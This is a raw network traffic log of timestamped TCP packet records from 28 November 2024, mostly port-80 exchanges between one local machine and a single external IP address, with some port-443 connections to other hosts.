Nov 28, 2024 11:05:35.412266016 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.412313938 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.413207054 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.413258076 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.413264990 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.413299084 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.413777113 CET	443	49865	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:35.413830042 CET	443	49865	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:35.413882017 CET	49865	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:35.414172888 CET	49865	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:35.414191008 CET	443	49865	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:35.414201021 CET	49865	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:35.414206028 CET	443	49865	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:35.414230108 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.414273024 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.414283037 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.414310932 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.415354967 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.415452003 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.415518999 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.415673018 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.416378021 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.416440010 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.416503906 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.417092085 CET	49879	443	192.168.2.7	13.89.179.11
Nov 28, 2024 11:05:35.417135000 CET	443	49879	13.89.179.11	192.168.2.7
Nov 28, 2024 11:05:35.417372942 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.417448044 CET	49879	443	192.168.2.7	13.89.179.11
Nov 28, 2024 11:05:35.417458057 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.417486906 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.417499065 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.417788029 CET	49879	443	192.168.2.7	13.89.179.11
Nov 28, 2024 11:05:35.417803049 CET	443	49879	13.89.179.11	192.168.2.7
Nov 28, 2024 11:05:35.418395996 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.418442011 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.418466091 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.418507099 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.418523073 CET	49880	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:35.418546915 CET	443	49880	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:35.418771029 CET	49880	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:35.419462919 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.419512987 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.419540882 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.419559956 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.419692039 CET	49881	443	192.168.2.7	20.110.205.119
Nov 28, 2024 11:05:35.419713020 CET	443	49881	20.110.205.119	192.168.2.7
Nov 28, 2024 11:05:35.419791937 CET	49881	443	192.168.2.7	20.110.205.119
Nov 28, 2024 11:05:35.420449972 CET	49881	443	192.168.2.7	20.110.205.119
Nov 28, 2024 11:05:35.420459032 CET	443	49881	20.110.205.119	192.168.2.7
Nov 28, 2024 11:05:35.420526981 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.420582056 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.420598030 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.420638084 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.420766115 CET	49880	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:35.420775890 CET	443	49880	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:35.421554089 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.421597004 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.421674013 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.421710968 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.422593117 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.422646999 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.422684908 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.422813892 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.423652887 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.423710108 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.423733950 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.423773050 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.424731970 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.424782991 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.424848080 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.424887896 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.425750017 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.425776958 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.425805092 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.425822973 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.427105904 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.427122116 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.427155972 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.427171946 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.427860975 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.427946091 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.427962065 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.427980900 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.428894043 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.428955078 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.428980112 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.429039001 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.429939985 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.430003881 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.430107117 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.430989027 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.431041002 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.431073904 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.431174040 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.432060957 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.432171106 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.432199955 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.432210922 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.433123112 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.433183908 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.433343887 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.433701992 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.434111118 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.434242964 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.434273005 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.434283972 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.435141087 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.435205936 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.435242891 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.435286045 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.436201096 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.436253071 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.436309099 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.436527967 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.437239885 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.437318087 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.437347889 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.437359095 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.438316107 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.438366890 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.438416004 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.438785076 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.439373016 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.439424992 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.439467907 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.439532995 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.440543890 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.440570116 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.440618038 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.441473961 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.441561937 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.441577911 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.441603899 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.442527056 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.442586899 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.442672014 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.442814112 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.443569899 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.443623066 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.443666935 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.443825006 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.444637060 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.444693089 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.444739103 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.444780111 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.445796967 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.445846081 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.445897102 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.446862936 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.446938992 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.447005987 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.447060108 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.447917938 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.447984934 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.448010921 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.448060989 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.448793888 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.448857069 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.448913097 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.448957920 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.449836969 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.449882984 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.449893951 CET	443	49856	4.152.133.8	192.168.2.7
Nov 28, 2024 11:05:35.449913979 CET	443	49856	4.152.133.8	192.168.2.7
Nov 28, 2024 11:05:35.449960947 CET	49856	443	192.168.2.7	4.152.133.8
Nov 28, 2024 11:05:35.449978113 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.449990988 CET	443	49856	4.152.133.8	192.168.2.7
Nov 28, 2024 11:05:35.450011015 CET	49856	443	192.168.2.7	4.152.133.8
Nov 28, 2024 11:05:35.450021029 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.450041056 CET	49856	443	192.168.2.7	4.152.133.8
Nov 28, 2024 11:05:35.450894117 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.450938940 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.450973034 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.451215982 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.451905012 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.451963902 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.451993942 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.452119112 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.453007936 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.453074932 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.453087091 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.453181028 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.454025030 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.454083920 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.454134941 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.454176903 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.455044031 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.455095053 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.455149889 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.455221891 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.456139088 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.456259012 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.456307888 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.457187891 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.457252026 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.457282066 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.457397938 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.458213091 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.458281040 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.458307028 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.458353043 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.459275961 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.459332943 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.459434032 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.459564924 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.491239071 CET	49882	443	192.168.2.7	108.139.47.108
Nov 28, 2024 11:05:35.491275072 CET	443	49882	108.139.47.108	192.168.2.7
Nov 28, 2024 11:05:35.491364002 CET	49882	443	192.168.2.7	108.139.47.108
Nov 28, 2024 11:05:35.492079020 CET	49882	443	192.168.2.7	108.139.47.108
Nov 28, 2024 11:05:35.492089987 CET	443	49882	108.139.47.108	192.168.2.7
Nov 28, 2024 11:05:35.492477894 CET	49883	443	192.168.2.7	23.101.168.44
Nov 28, 2024 11:05:35.492536068 CET	443	49883	23.101.168.44	192.168.2.7
Nov 28, 2024 11:05:35.492748022 CET	49883	443	192.168.2.7	23.101.168.44
Nov 28, 2024 11:05:35.492929935 CET	49883	443	192.168.2.7	23.101.168.44
Nov 28, 2024 11:05:35.492942095 CET	443	49883	23.101.168.44	192.168.2.7
Nov 28, 2024 11:05:35.567871094 CET	443	49867	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:35.575701952 CET	49867	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:35.575728893 CET	443	49867	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:35.576123953 CET	443	49867	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:35.576458931 CET	49867	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:35.576513052 CET	443	49867	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:35.576719046 CET	49867	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:35.596662998 CET	443	49856	4.152.133.8	192.168.2.7
Nov 28, 2024 11:05:35.596689939 CET	443	49856	4.152.133.8	192.168.2.7
Nov 28, 2024 11:05:35.596754074 CET	49856	443	192.168.2.7	4.152.133.8
Nov 28, 2024 11:05:35.596805096 CET	443	49856	4.152.133.8	192.168.2.7
Nov 28, 2024 11:05:35.596827030 CET	49856	443	192.168.2.7	4.152.133.8
Nov 28, 2024 11:05:35.596843958 CET	49856	443	192.168.2.7	4.152.133.8
Nov 28, 2024 11:05:35.606372118 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.606405020 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.606435061 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.606453896 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.606889963 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.606982946 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.607033968 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.607904911 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.608000040 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.608047962 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.608949900 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.609072924 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.609262943 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.609308004 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.609357119 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.609735966 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.610368013 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.610423088 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.610467911 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.611419916 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.611510038 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.611560106 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.612574100 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.612617016 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.612678051 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.613461018 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.613506079 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.613590956 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.613692045 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.614506960 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.614630938 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.614674091 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.614685059 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.615638971 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.615674973 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.615693092 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.615725040 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.616636992 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.616692066 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.616779089 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.617662907 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.617710114 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.617752075 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.617793083 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.618712902 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.618778944 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.618813038 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.618850946 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.619334936 CET	443	49867	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:35.619745970 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.619914055 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.619962931 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.620812893 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.620855093 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.620894909 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.620930910 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.621860981 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.621906996 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.621946096 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.622009993 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.622905970 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.623107910 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.623111010 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.623159885 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.623483896 CET	443	49856	4.152.133.8	192.168.2.7
Nov 28, 2024 11:05:35.623507023 CET	443	49856	4.152.133.8	192.168.2.7
Nov 28, 2024 11:05:35.623547077 CET	49856	443	192.168.2.7	4.152.133.8
Nov 28, 2024 11:05:35.623578072 CET	443	49856	4.152.133.8	192.168.2.7
Nov 28, 2024 11:05:35.623594046 CET	49856	443	192.168.2.7	4.152.133.8
Nov 28, 2024 11:05:35.623625040 CET	49856	443	192.168.2.7	4.152.133.8
Nov 28, 2024 11:05:35.623929024 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.623970985 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.624043941 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.624078035 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.624994993 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.625035048 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.625088930 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.625123978 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.626053095 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.626198053 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.626244068 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.626302958 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.627088070 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.627146959 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.627186060 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.628135920 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.628246069 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.628295898 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.629235029 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.629307985 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.629338026 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.629380941 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.630307913 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.630500078 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.630559921 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.631350040 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.631364107 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.631417036 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.632337093 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.632389069 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.632447958 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.633399963 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.633496046 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.633543015 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.634532928 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.634593010 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.634673119 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.634712934 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.635483027 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.635586977 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:35.635627031 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:35.636538982 CET	80	49782	185.215.113.206	192.168.2.7
